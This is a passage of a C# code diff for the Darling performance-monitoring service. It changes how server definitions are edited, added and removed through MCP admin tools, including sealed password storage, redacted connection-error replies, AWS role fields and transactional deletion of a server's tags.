+        /// <see cref="ServerEditWriteKind.ActualOccupied"/>, judged after <paramref name="newStorageKey"/>.</summary>
+        Task<ServerEditWrite> WriteAsync(
+            int serverId, DateTime expectedModifiedAt, IReadOnlyList<EditColumnValue> sets, string? newStorageKey, string? actualStorageKey, CancellationToken cancellationToken);
+    }
+
+    /// <summary>The columns <see cref="ReadEditRowSql"/> reads, and the only ones an edit may name in a SET list.</summary>
+    internal const string ReadEditRowSql = @"
+SELECT server_id, name, host, port, database, read_only_intent, engine, auth, username, encrypt_mode,
+       trust_server_certificate, multi_subnet_failover, monthly_cost_usd, modified_at, aws_role_arn, aws_external_id_set
+FROM config_monitored_servers WHERE server_id = $1";
+
+    internal const string OtherServersSql =
+        "SELECT host, database, read_only_intent, engine, port FROM config_monitored_servers WHERE server_id <> $1";
+
+    /// <summary>
+    /// The one write of an edit (#5240): <c>config.edit_monitored_server</c>, the owner-owned SECURITY DEFINER function
+    /// (<see cref="DarlingManagedRoles.BuildEditMonitoredServerFunctionSql"/>). The web route's viewer role and the MCP
+    /// tool's mcp role both run it, and neither holds a column UPDATE on the table. <c>$1</c> is the id, <c>$2</c> the
+    /// expected <c>modified_at</c>, <c>$3</c> the names of the columns to write, then one value per editable column in
+    /// <see cref="EditFunctionColumns"/> order (null for a column not listed): the new secret rides at <c>$11</c>.
+    /// </summary>
+    internal const string EditFunctionSql =
+        "SELECT outcome, new_modified_at FROM config.edit_monitored_server($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17)";
+
+    /// <summary>The editable columns in the order the function takes their values (<c>$4</c> onwards).</summary>
+    internal static readonly (string Column, NpgsqlDbType DbType)[] EditFunctionColumns =
+    [
+        ("name", NpgsqlDbType.Text), ("host", NpgsqlDbType.Text), ("port", NpgsqlDbType.Integer), ("database", NpgsqlDbType.Text),
+        ("read_only_intent", NpgsqlDbType.Boolean), ("auth", NpgsqlDbType.Text), ("username", NpgsqlDbType.Text),
+        ("encrypted_password", NpgsqlDbType.Text), ("encrypt_mode", NpgsqlDbType.Text),
+        ("trust_server_certificate", NpgsqlDbType.Boolean), ("multi_subnet_failover", NpgsqlDbType.Boolean),
+        ("monthly_cost_usd", NpgsqlDbType.Numeric),
+        ("aws_role_arn", NpgsqlDbType.Text), ("aws_external_id", NpgsqlDbType.Text),
+    ];
+
+    /// <summary>
+    /// The arguments of <see cref="EditFunctionSql"/> for a set of columns. Every column is checked against
+    /// <see cref="EditColumnOfField"/>, so a set list cannot name another one. The expected <c>modified_at</c> is passed as
+    /// the <see cref="DateTime"/> the edit read (a microsecond value), never rounded, because the function compares it exactly.
+    /// </summary>
+    internal static List<NpgsqlParameter> BuildEditFunctionParameters(
+        int serverId, DateTime expectedModifiedAt, IReadOnlyList<EditColumnValue> sets)
+    {
+        var allowed = new HashSet<string>(EditColumnOfField.Values, StringComparer.Ordinal);
+        foreach (var set in sets)
+        {
+            if (!allowed.Contains(set.Column))
+            {
+                throw new InvalidOperationException("An edit may not write column '" + set.Column + "'.");
+            }
+        }
+
+        var parameters = new List<NpgsqlParameter>
+        {
+            new NpgsqlParameter<int> { TypedValue = serverId }, // $1
+            new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = expectedModifiedAt }, // $2
+            new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = sets.Select(s => s.Column).ToArray() }, // $3
+        };
+        foreach (var (column, dbType) in EditFunctionColumns)
+        {
+            var set = sets.FirstOrDefault(s => string.Equals(s.Column, column, StringComparison.Ordinal));
+            parameters.Add(new NpgsqlParameter { NpgsqlDbType = dbType, Value = set?.Value ?? DBNull.Value });
+        }
+
+        return parameters;
+    }
+
+    internal sealed class PostgresServerEditStore : IServerEditStore
+    {
+        private readonly NpgsqlDataSource _postgres;
+
+        public PostgresServerEditStore(NpgsqlDataSource postgres) => _postgres = postgres;
+
+        public async Task<ServerEditRow?> ReadRowAsync(int serverId, CancellationToken cancellationToken)
+        {
+            var postgres = _postgres;
+            await using var command = postgres.CreateCommand(ReadEditRowSql);
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId }); // $1
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (!await reader.ReadAsync(cancellationToken))
+            {
+                return null;
+            }
+
+            return new ServerEditRow(
+                reader.GetInt32(0), reader.GetString(1), reader.GetString(2), reader.IsDBNull(3) ? 0 : reader.GetInt32(3),
+                reader.IsDBNull(4) ? null : reader.GetString(4), !reader.IsDBNull(5) && reader.GetBoolean(5),
+                reader.IsDBNull(6) ? EngineSqlServer : reader.GetString(6), reader.IsDBNull(7) ? ServerStoreAuth.Integrated : reader.GetString(7),
+                reader.IsDBNull(8) ? null : reader.GetString(8), reader.IsDBNull(9) ? "Mandatory" : reader.GetString(9),
+                !reader.IsDBNull(10) && reader.GetBoolean(10), !reader.IsDBNull(11) && reader.GetBoolean(11),
+                reader.IsDBNull(12) ? 0m : reader.GetDecimal(12), reader.GetDateTime(13),
+                reader.IsDBNull(14) ? null : reader.GetString(14), !reader.IsDBNull(15) && reader.GetBoolean(15));
+        }
+
+        public async Task<List<string>> LoadOtherStorageKeysAsync(int serverId, CancellationToken cancellationToken)
+        {
+            var keys = new List<string>();
+            var postgres = _postgres;
+            await using var command = postgres.CreateCommand(OtherServersSql);
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId }); // $1
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                keys.Add(StorageKeyOf(reader));
+            }
+
+            return keys;
+        }
+
+        public async Task<ServerEditWrite> WriteAsync(
+            int serverId, DateTime expectedModifiedAt, IReadOnlyList<EditColumnValue> sets, string? newStorageKey, string? actualStorageKey, CancellationToken cancellationToken)
+        {
+            var parameters = BuildEditFunctionParameters(serverId, expectedModifiedAt, sets);
+            var postgres = _postgres;
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+            /* #5240: the identity lock, FIRST, before the function locks the row and the occupancy check below runs, so that
+               check sees a table no other identity write (an add's INSERT, another edit) is in the middle of changing.
+               The probe that preceded this write ran outside it; the lock covers this transaction only.
+
+               Every command here is two-arg on the store connection with the transaction set on it: the shape
+               McpReadCommandTimeoutTests recognises as a store command (see remove_server). */
+            await using (var identityLock = new NpgsqlCommand(IdentityLockSql, connection) { Transaction = transaction })
+            {
+                identityLock.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                await identityLock.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            /* The write is the function, so the calling role needs no UPDATE on the table. A store whose roles predate it
+               (or a role that may not run it) answers one of these two errors; both become the fixed sentence that says to
+               re-run provision-roles.sql, and the driver's own text goes no further. */
+            string outcome;
+            var written = DateTime.MinValue;
+            try
+            {
+                await using var call = new NpgsqlCommand(EditFunctionSql, connection) { Transaction = transaction };
+                call.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                foreach (var parameter in parameters)
+                {
+                    call.Parameters.Add(parameter);
+                }
+
+                await using var reader = await call.ExecuteReaderAsync(cancellationToken);
+                if (!await reader.ReadAsync(cancellationToken))
+                {
+                    throw new InvalidOperationException("The edit function returned no outcome.");
+                }
+
+                outcome = reader.GetString(0);
+                if (!reader.IsDBNull(1))
+                {
+                    written = reader.GetDateTime(1);
+                }
+            }
+            catch (PostgresException ex) when (ex.SqlState is PostgresErrorCodes.UndefinedFunction or PostgresErrorCodes.InsufficientPrivilege)
+            {
+                throw new InvalidOperationException(EditStoreNeedsRolesText, ex);
+            }
+
+            switch (outcome)
+            {
+                case "not_found":
+                    return new ServerEditWrite(ServerEditWriteKind.NotFound, expectedModifiedAt);
+                case "conflict":
+                    return new ServerEditWrite(ServerEditWriteKind.Conflict, expectedModifiedAt);
+                case "password_needed":
+                    return new ServerEditWrite(ServerEditWriteKind.PasswordNeeded, expectedModifiedAt);
+                case "reference_refused":
+                    return new ServerEditWrite(ServerEditWriteKind.ReferenceRefused, expectedModifiedAt);
+                case "remediation_kept":
+                    return new ServerEditWrite(ServerEditWriteKind.RemediationKept, expectedModifiedAt);
+                case "external_id_needed":
+                    return new ServerEditWrite(ServerEditWriteKind.ExternalIdNeeded, expectedModifiedAt);
+                case "external_id_needs_role":
+                    return new ServerEditWrite(ServerEditWriteKind.ExternalIdNeedsRole, expectedModifiedAt);
+                case "invalid_value":
+                    return new ServerEditWrite(ServerEditWriteKind.InvalidValue, expectedModifiedAt);
+                case "saved":
+                    break;
+                default:
+                    throw new InvalidOperationException("The edit function answered an outcome this build does not know.");
+            }
+
+            if (newStorageKey is not null || actualStorageKey is not null)
+            {
+                /* After the function, in the same transaction: an occupied address returns here WITHOUT a commit, which
+                   undoes the function's write (and its reload beacon), so the order of the answers is unchanged. The same
+                   read judges the key the probe's connected database gives (actualStorageKey): a row that took it during
+                   the probe is a second definition collecting one database, refused after the address check. */
+                var actualKeyHeld = false;
+                await using var others = new NpgsqlCommand(OtherServersSql, connection) { Transaction = transaction };
+                others.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                others.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId }); // $1
+                await using var reader = await others.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    var held = StorageKeyOf(reader);
+                    if (newStorageKey is not null && string.Equals(held, newStorageKey, StringComparison.OrdinalIgnoreCase))
+                    {
+                        return new ServerEditWrite(ServerEditWriteKind.Occupied, expectedModifiedAt);
+                    }
+
+                    actualKeyHeld |= actualStorageKey is not null && string.Equals(held, actualStorageKey, StringComparison.OrdinalIgnoreCase);
+                }
+
+                if (actualKeyHeld)
+                {
+                    return new ServerEditWrite(ServerEditWriteKind.ActualOccupied, expectedModifiedAt);
+                }
+            }
+
+            await transaction.CommitAsync(cancellationToken);
+            return new ServerEditWrite(ServerEditWriteKind.Written, written);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs
index bd54131926..b80917cb88 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs
@@ -14,10 +14,13 @@
 using System.Text.Json.Nodes;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using NpgsqlTypes;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Targets;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -36,8 +39,8 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// which holds the network path + credentials — unlike the Viewer, whose dialogs enqueue a <c>test_connect</c>
 /// command for the service to run); the case-folded dedupe gate is the shared <see cref="ServerIdHelper.BuildStorageName"/>
 /// identity in a <c>HashSet&lt;string&gt;(OrdinalIgnoreCase)</c> exactly as the bulk dialog (#1549) uses; the SQL
-/// password is DPAPI-encrypted through <see cref="DarlingSecrets.Protect"/> (the SAME service identity that
-/// decrypts it during collection, so it round-trips) and NEVER stored, logged, or echoed in plaintext; and the
+/// password is sealed with the service's password key (<see cref="ProtectPasswordForStorage"/>, for the connection
+/// settings the row is saved with; the service opens it during collection, so it round-trips) and NEVER stored, logged, or echoed in plaintext; and the
 /// INSERT mirrors <c>StoreConfigProvider.SeedMonitoredServersAsync</c>'s exact column set + <c>server_id =
 /// ServerIdHelper.GetDeterministicHashCode(StorageName)</c> identity, so a tool-written row JOINs the collected
 /// data and the service's reconcile matches it.</para>
@@ -45,13 +48,13 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// <para><b>add_servers</b> processes its JSON array SEQUENTIALLY (mirroring #1549's Darling bulk probe, which is
 /// serial to avoid a probe storm): for each server it validates the fields, skips an exact/case-variant DUPLICATE
 /// of an existing or earlier-in-batch server (<c>status:"duplicate"</c>), probes the connection (a failure is
-/// <c>status:"connection_failed"</c> and does NOT abort the batch), DPAPI-encrypts the SQL password or the service-
+/// <c>status:"connection_failed"</c> and does NOT abort the batch), seals the SQL password or the service-
 /// principal client secret, and INSERTs the row (<c>status:"added"</c>). A save that throws is caught PER ENTRY: that
 /// entry and every one after it are <c>status:"not_saved"</c> (the rest are not probed), and the entries before it
 /// stay <c>added</c> in the results (#4734). An INSERT that changes no rows (its <c>server_id</c> is taken) is
 /// answered from the row that holds the id — <c>collides</c> for a different identity, <c>duplicate</c> for the same
-/// one — and never as <c>added</c>. A LITERAL password or client secret is <c>invalid</c> off Windows, where DPAPI is
-/// not available (#4734). Windows/integrated and managed-identity
+/// one — and never as <c>added</c>. A LITERAL password or client secret is <c>invalid</c> while the service's password key
+/// cannot seal it, and an <c>env:</c>/<c>file:</c> reference always is (#4734, #5366). Windows/integrated and managed-identity
 /// auth store no secret; a service principal stores its client secret exactly like a SQL password; the INTERACTIVE
 /// Entra modes (MFA / device-code / default-credential) are rejected (<c>status:"invalid"</c>) — they need a broker
 /// or a signed-in user and cannot run headless, whereas ServicePrincipal and ManagedIdentity are non-interactive
@@ -71,22 +74,48 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 ///
 /// <para><b>Security.</b> These tools connect (like every MCP tool) as the least-privilege <c>mcp</c> role, granted
 /// (see <see cref="DarlingManagedRoles"/>) INSERT/UPDATE/DELETE on <c>config.config_monitored_servers</c> — a single
-/// non-secret-key table (the DPAPI password blob is written but the <c>encrypted_password</c> column is SELECT-
+/// non-secret-key table (the sealed password is written but the <c>encrypted_password</c> column is SELECT-
 /// carved from <c>mcp</c>, so a token-holder can WRITE a credential but never READ one back) — and nothing else, so
 /// it still cannot reach the <c>config_command</c> service-credential pivot or the carved secret columns. The
 /// <c>config_monitored_servers</c> write fires the existing <c>trg_bump_monitored_servers → config_bump_version</c>
 /// trigger (SECURITY INVOKER), which the #1608 <c>config_service</c> beacon column-grant already covers, so the
 /// running service hot-reloads the monitored set within one sweep. <b>The SQL password transits the MCP endpoint in
-/// the request JSON</b>; on a LAN deployment front the endpoint with the documented TLS reverse proxy.</para>
+/// the request JSON</b>; on a LAN deployment serve the endpoint over HTTPS with <c>mcp.network.tls</c> (#5288), or
+/// front it with a TLS reverse proxy.</para>
 /// </summary>
 [McpServerToolType]
-public sealed class DarlingMcpServerAdminTools
+public sealed partial class DarlingMcpServerAdminTools
 {
     /// <summary>The connect-and-probe seam — <see cref="DefaultProbeAsync"/> in production
     /// (<see cref="DarlingServerConnector.ProbeAsync"/> in-process), a stub in the unit tests so the store-write /
     /// dedupe / encrypt / result-aggregation logic can be exercised WITHOUT a real SQL Server.</summary>
     internal delegate Task<ConnectionProbeResult> ServerProbe(MonitoredServer server, CancellationToken cancellationToken);
 
+    /// <summary>
+    /// The reply for a failed connection test. Every reply to an MCP or web client carries one fixed sentence naming
+    /// the host and port the caller sent, and nothing the driver said: the driver's text goes to the service log
+    /// only, with the typed secrets redacted, line breaks and other control characters replaced, and the length
+    /// capped. <paramref name="revealConnectError"/> is true for the <c>--add-server</c> verb, which is typed
+    /// at the service host's own command line by the person who administers it; that caller gets the driver's text.
+    /// </summary>
+    internal static string ConnectFailureReply(
+        MonitoredServer server, ConnectionProbeResult probe, ILogger? logger, bool revealConnectError, params string?[] secrets)
+    {
+        var target = server.Port > 0 ? $"{server.Host},{server.Port}" : server.Host;
+        var driverText = string.IsNullOrWhiteSpace(probe.Error) ? "(no driver text)" : RedactEditSecret(probe.Error, secrets);
+        /* The logged copy is one line of bounded length: the driver text and the target both come from the server the
+           caller named, so each goes through the refusal log's sanitizer. The --add-server reply below keeps the
+           full redacted text for the person at the service host's own command line. */
+        logger?.LogWarning("Connection test to {Target} failed: {DriverText}",
+            Hosting.DarlingHttpRefusalLog.Sanitize(target, 512), Hosting.DarlingHttpRefusalLog.Sanitize(driverText, 512));
+        if (revealConnectError && !string.IsNullOrWhiteSpace(probe.Error))
+        {
+            return $"Could not connect: {driverText}";
+        }
+
+        return $"Could not connect to {target}. The service log has the details.";
+    }
+
     private static Task<ConnectionProbeResult> DefaultProbeAsync(MonitoredServer server, CancellationToken cancellationToken) =>
         DarlingServerConnector.ProbeAsync(server, null, cancellationToken);
 
@@ -112,7 +141,10 @@ private static Task<ConnectionProbeResult> DefaultProbeAsync(MonitoredServer ser
         "encrypt_mode (\"Optional\"|\"Mandatory\"|\"Strict\", default \"Mandatory\"); " +
         "trust_server_certificate (bool, default false — set true to accept a self-signed server cert, and " +
         "typically REQUIRED for Aurora, which presents an RDS CA a stock trust store does not know); " +
-        "read_only_intent (bool, default false); multi_subnet_failover (bool, default false). Servers are processed " +
+        "read_only_intent (bool, default false); multi_subnet_failover (bool, default false); aws_role_arn (optional, " +
+        "PostgreSQL on Amazon RDS or Aurora only: the IAM role ARN to assume, such as " +
+        "arn:aws:iam::123456789012:role/darling-monitor; accepted only if darling.json's allowedAwsRoles lists it) and " +
+        "aws_external_id (optional, write-only, needs aws_role_arn). Servers are processed " +
         "IN ORDER, one at a time. A case-variant or exact duplicate of an already-monitored server (or an earlier " +
         "entry in the same array) is skipped as status \"duplicate\". A server that fails to connect is recorded as " +
         "status \"connection_failed\" and does NOT stop the rest of the batch. If saving an entry fails, that entry " +
@@ -124,9 +156,9 @@ private static Task<ConnectionProbeResult> DefaultProbeAsync(MonitoredServer ser
         "covers (it names one database but connects to a different one, e.g. a wrong Initial Catalog) is refused as " +
         "status \"collides\" — adding it would store one database's history under two identities and alert twice. " +
         "So is a server whose id is already held by a different server (two identities that hash to one id). " +
-        "A SQL password or service-principal client secret is encrypted at rest (DPAPI, the service identity) and " +
-        "is never returned. Where DPAPI is not available (Linux) a literal password or client secret is rejected as " +
-        "\"invalid\": give an env:NAME or file:/run/secrets/<name> reference instead. " +
+        "A SQL password or service-principal client secret is sealed with the service's password key before it is " +
+        "stored, and is never returned. password is the password itself: a value that starts with env: or file: is " +
+        "rejected as \"invalid\", because references are set in the configuration file. " +
         "Returns {requested:N, added:N, skipped:N, collided:N, failed:N, results:[{server, " +
         "status:\"added\"|\"duplicate\"|\"collides\"|\"connection_failed\"|\"not_saved\"|\"invalid\", detail}]}. requested is " +
         "the number of entries you sent and the four counters SUM to it — every entry lands in exactly one: " +
@@ -134,32 +166,48 @@ private static Task<ConnectionProbeResult> DefaultProbeAsync(MonitoredServer ser
         "\"not_saved\" and \"invalid\" → failed. Only added servers are monitored; read the other three counters before treating " +
         "the batch as done. An added server's detail reports what the probe found — for a PostgreSQL target that " +
         "includes writer-vs-reader, Aurora-vs-not, and how many of the PostgreSQL collectors apply to it. NOTE: the " +
-        "password travels to this endpoint in the request; on a LAN use the documented TLS reverse proxy. " +
+        "password travels to this endpoint in the request. MCP serves HTTPS on its network listener when mcp.network.tls " +
+        "is set, so on a LAN set it; a TLS reverse proxy in front of the endpoint also works. " +
         "servers_json is a JSON ARRAY of server objects to add (see above for the per-object fields), e.g. " +
         "[{\"host\":\"sql01\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"...\",\"encrypt_mode\":\"Mandatory\"," +
         "\"trust_server_certificate\":true},{\"host\":\"aurora.cluster-abc.us-east-1.rds.amazonaws.com\",\"engine\":" +
         "\"postgres\",\"auth\":\"SQL\",\"username\":\"darling_monitor\",\"password\":\"...\",\"trust_server_certificate\":true}].")]
     public static Task<string> AddServers(
         NpgsqlDataSource postgres,
-        [Description("A JSON ARRAY of server objects to add (see the tool description for the per-object fields and an example).")] string servers_json) =>
-        AddServersAsync(postgres, servers_json, DefaultProbeAsync, CancellationToken.None);
+        [Description("A JSON ARRAY of server objects to add (see the tool description for the per-object fields and an example).")] string servers_json,
+        ILogger? logger = null) =>
+        AddServersAsync(new PostgresServerDefinitions(postgres), servers_json, DefaultProbeAsync, CancellationToken.None, logger: logger);
 
     /// <summary>The testable core of <c>add_servers</c>: validates + dedupes + probes (through the injected
     /// <paramref name="probe"/> seam) + encrypts + INSERTs, aggregating a per-server result. Structural validation
     /// runs BEFORE any store access, and when NO structurally-valid candidate remains the store is never opened —
     /// so a call whose entries are all invalid (bad field, MFA auth) returns without a connection or a probe.</summary>
     internal static Task<string> AddServersAsync(
-        NpgsqlDataSource postgres, string servers_json, ServerProbe probe, CancellationToken cancellationToken) =>
-        AddServersAsync(new PostgresServerDefinitions(postgres), servers_json, probe, cancellationToken);
+        NpgsqlDataSource postgres, string servers_json, ServerProbe probe, CancellationToken cancellationToken,
+        IPasswordKeyRing? ring = null, ILogger? logger = null) =>
+        AddServersAsync(new PostgresServerDefinitions(postgres), servers_json, probe, cancellationToken, ring: ring, logger: logger);
+
+    /// <summary>
+    /// The add the <c>--add-server</c> verb runs: the same core with the one difference that a password may be an
+    /// <c>env:</c>/<c>file:</c> reference. The verb is typed at the service host's own command line by the person who
+    /// can edit the configuration file, which is where references are set; it is not a request, and off Windows it is
+    /// the only way to register a server whose password cannot be encrypted. A reference to Darling's own configuration
+    /// or secrets is still refused (<see cref="ValidateSecret"/>).
+    /// </summary>
+    internal static Task<string> AddServersFromHostCommandLineAsync(NpgsqlDataSource postgres, string servers_json, IPasswordKeyRing? ring = null) =>
+        AddServersAsync(new PostgresServerDefinitions(postgres), servers_json, DefaultProbeAsync, CancellationToken.None, allowSecretReferences: true, ring: ring, revealConnectError: true);
 
     /// <summary>The same flow over an injected <see cref="IServerDefinitions"/>, so a test can stand in a
     /// definitions table that faults on a chosen write or swallows one without a live database.</summary>
     internal static async Task<string> AddServersAsync(
-        IServerDefinitions definitions, string servers_json, ServerProbe probe, CancellationToken cancellationToken)
+        IServerDefinitions definitions, string servers_json, ServerProbe probe, CancellationToken cancellationToken,
+        bool allowSecretReferences = false, IPasswordKeyRing? ring = null, AwsRoleAllowlist? awsRoleAllowlist = null,
+        ILogger? logger = null, bool revealConnectError = false)
     {
+        ring ??= DarlingPasswordKey.Current;
         try
         {
-            var (entries, invalidResults, wholeError) = ParseRequest(servers_json);
+            var (entries, invalidResults, wholeError) = ParseRequest(servers_json, ring.Status, allowSecretReferences, awsRoleAllowlist);
             if (wholeError != null)
             {
                 return Outcome("invalid", wholeError);
@@ -212,9 +260,8 @@ is recorded and the batch CONTINUES — one unreachable server never aborts the
                 if (!probeResult.Success)
                 {
                     results.Add(new ServerResult(entry.Order, entry.DisplayName, AddStatus.ConnectionFailed,
-                        string.IsNullOrWhiteSpace(probeResult.Error)
-                            ? "Could not connect to the server."
-                            : $"Could not connect: {probeResult.Error}"));
+                        ConnectFailureReply(entry.ProbeConfig, probeResult, logger, revealConnectError,
+                            entry.PlaintextPassword, entry.ProbeConfig.AwsExternalId)));
                     continue;
                 }
 
@@ -234,17 +281,39 @@ reported at every connect by #2277's tripwire.
                     continue;
                 }
 
-                /* DPAPI-encrypt the SQL password for storage (the service identity encrypts here and decrypts it
-                   during collection, so it round-trips); Windows-auth servers store no secret. The plaintext never
-                   leaves this method — it is not logged, not echoed in a result. */
+                /* Seal the SQL password for storage with the service's password key, for the connection settings this
+                   row is inserted with (the service opens it for that connection during collection, so it round-trips);
+                   Windows-auth servers store no secret. The plaintext never leaves this method: it is not logged, not
+                   echoed in a result. */
                 try
                 {
-                    var encryptedPassword = ProtectPasswordForStorage(entry.PlaintextPassword);
-                    var rowsWritten = await definitions.InsertAsync(entry, encryptedPassword, cancellationToken);
+                    var encryptedPassword = ProtectPasswordForStorage(entry.PlaintextPassword, BindingOf(entry.ProbeConfig), ring);
+
+                    /* #5240: the key the check above compared (the database the probe reached), handed to the write so
+                       it is compared again under the identity lock: a definition at that key may have been committed
+                       during the probe, after the claimed set was read. Null when the probe named nothing new. */
+                    var actualStorageKey = ActualStorageKeyOf(entry, probeResult.ConnectedDatabase);
+                    var rowsWritten = await definitions.InsertAsync(entry, encryptedPassword, actualStorageKey, cancellationToken);
                     if (rowsWritten > 0)
                     {
                         results.Add(new ServerResult(entry.Order, entry.DisplayName, AddStatus.Added, DescribeProbe(probeResult)));
                     }
+                    else if (rowsWritten == InsertKeyClaimed)
+                    {
+                        /* #5240: under the identity lock the store showed another definition already holding this
+                           entry's address: an edit or another add claimed it during the probe above, after the
+                           duplicate gate read the table. Nothing was written; the entry is the duplicate it would
+                           have been had the other write landed a moment sooner. */
+                        results.Add(new ServerResult(entry.Order, entry.DisplayName, AddStatus.Duplicate,
+                            "Already monitored: another change to the server list claimed this address while this call ran; skipped."));
+                    }
+                    else if (rowsWritten == InsertActualKeyClaimed)
+                    {
+                        /* #5240: the same refusal the check above gives, reached under the lock: the database the probe
+                           reached was claimed by another definition while the probe ran. Nothing was written. */
+                        results.Add(new ServerResult(entry.Order, entry.DisplayName, AddStatus.Collides,
+                            ActualIdentityCollisionText(entry, probeResult.ConnectedDatabase!)));
+                    }
                     else
                     {
                         /* #4734: ON CONFLICT (server_id) DO NOTHING wrote nothing, so this entry is NOT in the table.
@@ -288,7 +357,8 @@ that had saved them — and the retry then reported them as duplicates. */
         "several servers contain — NOTHING is deleted and the response is {status:\"ambiguous\", candidates:[{server, " +
         "display_name, ever_connected}], message}; re-issue with one candidate's full name. Deletes the server's " +
         "definition from the central monitoring store; the running service drops it from its collection set within " +
-        "one sweep. Already-collected historical data is NOT deleted. Returns {status:\"removed\", server, " +
+        "one sweep and drops this install's own Extended Events sessions on the server, leaving the shared ones and " +
+        "any session another registration of this install keeps. Already-collected historical data is NOT deleted. Returns {status:\"removed\", server, " +
         "display_name, matched_by:\"exact\"|\"partial\", matched_in:\"config_monitored_servers\", ever_connected} on " +
         "success — ever_connected says whether the connected-servers registry (populated on a server's first " +
         "successful connection) also had a row for it, i.e. whether any history exists under its id; " +
@@ -386,10 +456,33 @@ one rather than nesting JSON inside JSON. */
             var resolved = target.Candidates[0];
             var resolvedDefinition = definitions.First(d => d.Server.ServerId == resolved.ServerId);
 
-            await using var command = postgres.CreateCommand("DELETE FROM config_monitored_servers WHERE server_id = $1");
-            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = resolved.ServerId });
-            var affected = await command.ExecuteNonQueryAsync();
+            /* The server's tag assignments go in the same transaction as its definition: server_id is a fixed hash
+               of the connection, so a re-added server would otherwise get its old tags back and rejoin
+               tag-scoped alert rules. */
+            int affected;
+            await using (var connection = await postgres.OpenConnectionAsync())
+            await using (var transaction = await connection.BeginTransactionAsync())
+            {
+                /* Two-arg on the store connection with the transaction ASSIGNED, and the SQL hoisted to a local:
+                   the shape McpReadCommandTimeoutTests recognises as a store command (see the same note in
+                   DarlingMcpAlertTools); the three-arg form is the monitored-target shape. */
+                const string deleteSql = "DELETE FROM config_monitored_servers WHERE server_id = $1";
+                await using (var command = new NpgsqlCommand(deleteSql, connection) { Transaction = transaction })
+                {
+                    command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                    command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = resolved.ServerId });
+                    affected = await command.ExecuteNonQueryAsync();
+                }
+
+                await using (var clear = new NpgsqlCommand(ServerTagStore.ClearForServerSql, connection) { Transaction = transaction })
+                {
+                    clear.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                    clear.Parameters.Add(new NpgsqlParameter<int> { TypedValue = resolved.ServerId });
+                    await clear.ExecuteNonQueryAsync();
+                }
+
+                await transaction.CommitAsync();
+            }
 
             return affected > 0
                 ? RemovedAnswer(resolvedDefinition, target.MatchedBy)
@@ -407,7 +500,7 @@ one rather than nesting JSON inside JSON. */
     /// <summary>One structurally-valid server ready for dedupe → probe → insert. <see cref="StorageKey"/> is the
     /// shared case-folded identity (<see cref="ServerIdHelper.BuildStorageName"/>); <see cref="ProbeConfig"/> is the
     /// <see cref="MonitoredServer"/> the in-process probe connects with (carrying the plaintext password for the
-    /// connect); <see cref="PlaintextPassword"/> is retained ONLY until the post-probe DPAPI encrypt, never stored
+    /// connect); <see cref="PlaintextPassword"/> is retained ONLY until the post-probe seal, never stored
     /// or echoed. <see cref="Order"/> is the entry's index in the input array, so the aggregated results echo input
     /// order.</summary>
     internal sealed record ParsedServerEntry(
@@ -521,7 +614,8 @@ internal static string RemovedAnswer(ServerDefinition resolved, string matchedBy
             ever_connected = resolved.EverConnected,
             note = resolved.EverConnected
                 ? "The definition is deleted; the running service drops the server from collection within one sweep. Its connected-servers registry row and already-collected history are kept. "
-                    + "Its Extended Events sessions (" + DarlingXeSessionCleanup.SessionNamesPhrase() + ", whichever exist) are not dropped and stay on the server. "
+                    + "The service also drops this install's own Extended Events sessions on the server, with one attempt within 15 seconds, except a session another registration of this install keeps. "
+                    + "The shared sessions (" + DarlingXeSessionCleanup.SessionNamesPhrase() + ", whichever exist) stay on the server, and so does a session that drop could not reach. "
                     + "For a server nothing else monitors, an operator runs PerformanceMonitor.Darling.Service.exe --drop-xe-sessions --print-sql, which prints the DROP statements, and runs them on that server. "
                     + "The named form (--drop-xe-sessions <server>) works only for a server this service still monitors, so it had to run before this removal."
                 : "The definition is deleted. This server had never connected (no connected-servers registry row), so no history exists under its id and nothing else references it.",
@@ -653,13 +747,16 @@ internal static RemovalTarget ResolveForRemoval(
     /// returns a single <c>{status:"invalid"}</c> without opening the store.
     /// </summary>
     internal static (List<ParsedServerEntry> Entries, List<ServerResult> Invalid, string? WholeError) ParseRequest(string servers_json) =>
-        ParseRequest(servers_json, OperatingSystem.IsWindows());
+        ParseRequest(servers_json, DarlingPasswordKey.Current.Status);
 
